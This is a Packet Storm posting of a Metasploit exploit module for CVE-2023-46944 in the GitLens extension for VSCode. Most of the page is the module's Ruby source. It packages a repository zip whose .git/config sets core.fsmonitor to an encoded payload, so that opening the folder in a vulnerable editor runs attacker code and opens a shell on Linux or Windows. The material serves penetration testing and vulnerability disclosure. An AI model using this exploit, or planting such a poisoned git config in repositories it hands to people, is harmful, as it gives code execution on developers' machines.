exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GitLens Git Local Configuration Execution

GitLens Git Local Configuration Execution
Posted Apr 23, 2024
Authored by h00die, Paul Gerste | Site metasploit.com

GitKraken GitLens versions prior to 14.0.0 allow an untrusted workspace to execute git commands. A repo may include its own .git folder including a malicious config file to execute arbitrary code. Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10.

tags | exploit, arbitrary
systems | linux, windows, ubuntu
advisories | CVE-2023-46944
SHA-256 | b8273beeca3962657f6a9b1d3bfeafcc468090839b20a36ae8bb674024aa42ce

GitLens Git Local Configuration Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLens Git Local Configuration Exec',
'Description' => %q{
GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git
commands. A repo may include its own .git folder including a malicious config file to
execute arbitrary code.

Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # Metasploit module
'Paul Gerste', # Original advisory and PoC
],
'References' => [
['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'],
['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook
['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch
['CVE', '2023-46944']
],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => false,
'FILENAME' => 'repo.zip',
'WfsDelay' => 3_600 # 1hr
},
'Arch' => ARCH_CMD,
'Targets' => [
[
'Linux/Unix (In-Memory)',
{
'Platform' => [ 'unix', 'linux' ],
'Type' => :unix_cmd
},
],
# There may be a size limit, but using fetch payloads works great
[
'PowerShell (In-Memory)',
{
'Platform' => 'win',
'Payload' => {
'BadChars' => '"&'
}
}
],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away
},
'Privileged' => false,
'DisclosureDate' => '2023-11-14'
)
)

register_options([
OptString.new('README', [true, 'The contents of the readme markdown file', '# Test'])
])
end

def readme
datastore['README'].to_s
end

def git_head
'ref: refs/heads/master'
end

def git_config
%([core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on <space><int, 0><space><a long number>. so this avoids corrupting the payload
end

def exploit
# Create malicious zip archive containing our git repo
files =
[
{ data: readme, fname: 'README.md' },
{ data: git_config, fname: '.git/config' },
{ data: git_head, fname: '.git/HEAD' },
{ data: '', fname: '.git/objects/info/' },
{ data: '', fname: '.git/objects/pack/' },
{ data: '', fname: '.git/refs/heads/' },
{ data: '', fname: '.git/refs/tags/' },
]

zip = Msf::Util::EXE.to_zip(files)

file_create(zip)
print_status('Waiting for shell')
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close